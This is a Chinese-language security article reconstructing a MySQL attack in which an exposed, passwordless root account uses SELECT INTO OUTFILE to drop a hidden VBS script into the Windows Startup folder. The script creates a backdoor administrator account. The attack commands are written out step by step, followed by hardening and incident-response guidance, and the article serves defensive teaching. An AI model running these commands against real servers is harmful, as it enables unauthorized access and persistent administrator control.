⚠️ 安全聲明
本文旨在還原經典攻擊鏈以便防禦檢測與加固,嚴禁用於未授權系統測試。實施攻擊行為屬違法犯罪,後果自負。
攻擊前提條件
- 目標 MySQL 服務暴露於網絡(默認 3306 端口);
- root 賬戶**無密碼**或弱口令,且允許遠程連接(`host='%'` 或具體 IP);
- 攻擊者具備 `FILE` 權限(root 默認擁有);
- 目標服務器文件系統權限允許 MySQL 進程用戶寫入目標路徑(如啟動目錄、Web 目錄)。
攻擊鏈完整複現
1. 建立連接
mysql -u root -h 192.168.0.1 -P 3306 # 無密碼直連
2. 選擇/創建可控數據庫與表
USE test; -- 或 CREATE DATABASE evil; USE evil;
CREATE TABLE payload (cmd TEXT);
3. 構造惡意 VBS 腳本內容(分行插入繞過長度/轉義限制)
INSERT INTO payload VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO payload VALUES ('a = wshShell.Run("cmd.exe /c net user attacker Pass123 /add", 0)');
INSERT INTO payload VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators attacker /add", 0)');
關鍵技巧:
- 使用 VBS (`.vbs`) 而非 BAT:`WScript.Shell` 運行 `Run(..., 0)` 參數 `0` 代表**隱藏窗口**,無黑框彈出,隱蔽性極強;
- 雙引號轉義:SQL 字串中雙引號需雙寫 `""`;
- 分多行 `INSERT` 避免單行過長或特殊字符截斷。
4. 導出為可執行腳本文件
SELECT * FROM payload
INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\evil.vbs"
CHARACTER SET utf8mb4; -- 確保編碼正確
核心利用點: `INTO OUTFILE` 將查詢結果直接寫入文件系統。路徑指向 **Windows「啟動」文件夾**,實現**開機自動執行權限提升**(添加管理員用戶)。
5. 觸發執行
等待管理員登錄/重啟服務器 → 腳本自動運行 → 攻擊者獲得系統管理員帳號 → 遠程桌面/PSExec 横向移動。
為什麼這屬於「經典高危漏洞」?
| 環節 | 風險點 |
| 認證 | Root 空密碼 + 遠程訪問 = 無門檻入口 |
| 權限 | Root 默認擁有 `FILE` 權限,可讀寫服務器文件 |
| 功能 | `SELECT ... INTO OUTFILE` 是合法功能,非漏洞,無法單純禁用 |
| 落地 | 寫入啟動項/定時任務/Webshell 實現持久化與提權 |
| 隱蔽 | VBS 無窗口運行,常規殺毒難查殺純文本腳本行為 |
系統級加固清單(由輕到重)
- 消除根因: 為 root 設置強密碼,禁止遠程登錄(`ALTER USER 'root'@'%' IDENTIFIED BY 'StrongPass!';` / `bind-address=127.0.0.1`)。
- 最小權限原則: 業務應用使用專用賬戶,**回收 `FILE` 權限**(`REVOKE FILE ON *.* FROM 'app_user'@'%';`)。
- 禁用/限制 `INTO OUTFILE`:
- MySQL 8.0+:設置 `secure_file_priv = /var/lib/mysql-files/` 僅允許導出到指定安全目錄(不可寫入 Web/啟動目錄)。
- 舊版本:編譯時禁用或通過 SELinux/AppArmor 限制 `mysqld` 進程寫入路徑。
- 文件系統層面: MySQL 數據目錄、錯誤日誌目錄掛載 `noexec,nodev,nosuid`;啟動目錄、Web 目錄設置嚴格 ACL,禁止 `mysql` 系統用戶寫入。
- 網絡層面: 3306 端口僅對應用服務器 IP 開放(安全組/防火牆/iptables),嚴禁全網暴露。
- 審計監控: 開啟 `general_log` 或审计插件 記錄 `INTO OUTFILE`/`INTO DUMPFILE` 語句,配合 SIEM 告警。
- 定期滲透測試: 模擬此攻擊鏈驗證防禦有效性。
應急排查指引
發現可疑 `.vbs`/`.bat`/`.ps1` 腳本出現在啟動項、計劃任務、Web 目錄:
- 檢查 MySQL `general_log` / `audit_log` 中是否有 `INTO OUTFILE` 記錄;
- 排查 `information_schema.processlist` 歷史(若未重啟)或 Binlog 中的 `INSERT`/`SELECT` 模式;
- 檢查系統帳號異常新增(`net user` / `Get-LocalUser`);
- 立即修改 root 密碼、收回 `FILE` 權限、封禁可疑 IP、清理惡意文件、全盤掃描。
結語
「Root 空密碼 + `INTO OUTFILE` 寫啟動項」是教科書級的**配置不當導致的 RCE(遠程代碼執行)**。它不屬於 MySQL 本身的代碼漏洞,而是**權限管理缺失、網絡暴露、文件系統防護缺位**共同作用的結果。徹底修復需從賬戶、網絡、權限、文件系統、審計多維度纵深防禦,單一措施皆不足恃。